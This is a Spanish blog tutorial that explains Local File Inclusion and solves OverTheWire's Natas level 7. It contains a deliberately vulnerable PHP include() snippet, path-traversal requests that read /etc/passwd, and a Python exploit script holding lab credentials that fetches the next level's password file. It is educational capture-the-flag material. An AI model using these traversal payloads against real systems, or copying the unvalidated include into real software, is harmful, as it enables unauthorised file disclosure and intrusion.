Intro a Local File Inclusion (LFI) (Natas 7)


En esta entrada introduciremos la vulnerabiliad web Local File Inclusion (LFI) y aprovecharemos la resolución del nivel 7 de Natas para mostrar un ejemplo de explotación.

Local File Inclusion

Descripción de la vulnerabilidad

Local File Inclusion o Inclusión Local de Ficheros es un tipo de vulnerabilidad que permite la carga de ficheros locales del servidor en el contexto de la aplicación web afectada. Esta vulnerabilidad puede permitir a un atacante leer ficheros locales del servidor o incluso llegar a ejecutar código remoto. El nivel de acceso para la lectura de ficheros dependerá de los permisos con los que se esté ejecutando el servidor web. Además, como se ha comentado, si un atacante es capaz de albergar código en el servidor, será posible la ejecución de código.

¿Cuándo y por qué se produce?

Esta vulnerabilidad tiene lugar cuando una aplicación utiliza el path hacia un fichero local que quiere incluir en la página actual como input. Si la aplicación no realiza una validación de ese input, un fichero local no intencionado puede ser incluido y ejecutado por el servidor.

Impacto posible

Como se ha comentado, un LFI puede llevar a:
  • Denegación de servicio
  • Divulgación de ficheros con información sensible
  • Ejecución remota de código

Ejemplo de aplicación web vulnerable

A continuación se muestra un ejemplo muy sencillo de una aplicación web vulnerable a Local File Inclusion. Imaginemos una aplicación web que puede ser servida en diferentes idiomas. Para cada idioma existe en el servidor un fichero PHP diferente. Dependiendo del idioma seleccionado por el usuario, se cargará un fichero PHP determinado. La URL de la petición será algo similar a:

www.vulnerable.com/welcome.php?lang=spanish.php

Del lado del servidor, el código PHP estará incluyendo (y ejecutando) el fichero spanish.php a través de la función PHP include. El código referente a esta funcionalidad será algo como:

1 
2 
3
4
5
<?php
if (isset($_GET['lang'])) {
    include($_GET['lang']);
}
?>

Si un atacante modifica el valor del parámetro lang por un fichero existente en el servidor y sobre el cual el servidor tiene permisos de lectura, será capaz de incluirlo y ejecutarlo en el contexto del servidor. En este caso, el atacante construye un payload que incluye el fichero /etc/passwd y le permite su visualización:

GET /welcome.php?lang=../../../../../../etc/passwd HTTP/1.1
Host: www.vulnerable.com
Connection: close
Cookie: [...]
[...]

HTTP/1.1 200 OK
Date: Sat, 04 Apr 2020 11:50:32 GMT
Server: Apache/2.4.10 (Debian)
Vary: Accept-Encoding
Content-Length: 1015
Connection: close
Content-Type: text/html; charset=UTF-8
 
<html>
<head></head>
<body>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
[...]

Directory Path Traversal vs LFI

Estas vulnerabilidades se confunden bastante generalmente, ya que su explotación es similar, pero no su impacto e implicación.

Directory Path Traversal es un tipo de ataque que permite la lectura de ficheros fuera del directorio raíz de la aplicación web en el servidor web. Generalmente, se utilizan secuencias de carácteres "../" en Linux y "..\" en Windows para moverse a lo largo del path y hacer que la aplicación web imprima el contenido de un fichero.

Por tanto, no hay que confundir la vulnerabilidad de Directory Path Traversal con la de Local File Inclusion. Mientras que la primera solo te permite leer recursos del servidor (Local File Read), un LFI te permite tanto la carga como la ejecución de recursos en el contexto de la aplicación web (p. ej. si el backend de la app. es PHP podremos incluir un fichero malicioso que hayamos alojado previamente en el servidor web que contenga PHP para conseguir ejecución de código).

Hands on

A modo de ejemplo de explotación, realizaremos la resolución del nivel 7 de Natas.

Natas 7

 Al acceder al nivel, se nos muestra una pagína con dos enlaces a Home y About.


Al hacer clic en cualqueira de los enlaces, se carga contenido en la página:


En ambos casos, se hace uso del parámetro "page", que varía en función de que enlace seleccionemos y que página se incluya.

http://natas7.natas.labs.overthewire.org/index.php?page=home

El siguiente paso es fuzzear el parámetro "page" y ver cómo se comporta la aplicación web. Modificamos el valor del parámetro por el valor "no_existe" y esta es la respuesta:


El mensaje de error (siempre tan valiosos los mensajes de error) nos dice que se está produciendo un error al usar la función "include()".

Por tanto, se cumplen los siguientes puntos que nos hacen sospechar que podemos estar ante un LFI:
  • Se está cargando contenido en la página en función de un parámetro
  • Se está haciendo uso de la función PHP include() para ello
  • Tenemos control sobre ese parámetro
  • Parece que no se está aplicando ningún tipo de validación del parámetro
Para verificarlo,  tratamos de incluir el fichero /etc/passwd:


La página es vulnerable a LFI :). Para la resolución del nivel, nos interesa filtrar el contenido de la flag, que se encuentra en /etc/natas_webpass/natas8:


Exploit code

Picamos el exploit en Python para que explote el LFI y obtenga la flag de natas8:

 1 
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3

import requests
import re

# Level config. parameters
user = "natas7"
passwd = "7z3hEENjQtflzgnT29q7wAvMNfZdh0i9"
url = "http://natas7.natas.labs.overthewire.org/"

# Configuring the session var. with the params.
session = requests.Session()
session.auth = (user, passwd)

# Attack settings
vuln_endpoint = "index.php"
payload = "/etc/natas_webpass/natas8"
params = {
    "page": payload
}

# Exploit the LFI
response = session.get(url, params=params)

# Get the content
content = (response.content).decode("utf-8")

# Strip the flag
flag = re.findall(r"([a-zA-Z\d]{32})", content)[1]

# Write the flag to a file
f = open("{}.flag".format(user), "w+")
f.write(flag)
f.close()

print("[+] The flag for the level {} is {}".format(int(user[-1]) + 1, flag))

Ejecutamos y obtenemos la flag para Natas 8:

root@kali:~/ctf/natas/natas7# python3 natas7.py 
[+] The flag for the level 8 is DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

Esto es todo a modo de introducción. En otra entrada más avanzada, veremos como bypassear posibles restricciones a la hora de explotar un LFI y como poder llegar a obtener ejecución de código remoto (RCE).

Stay tuned!

Comentarios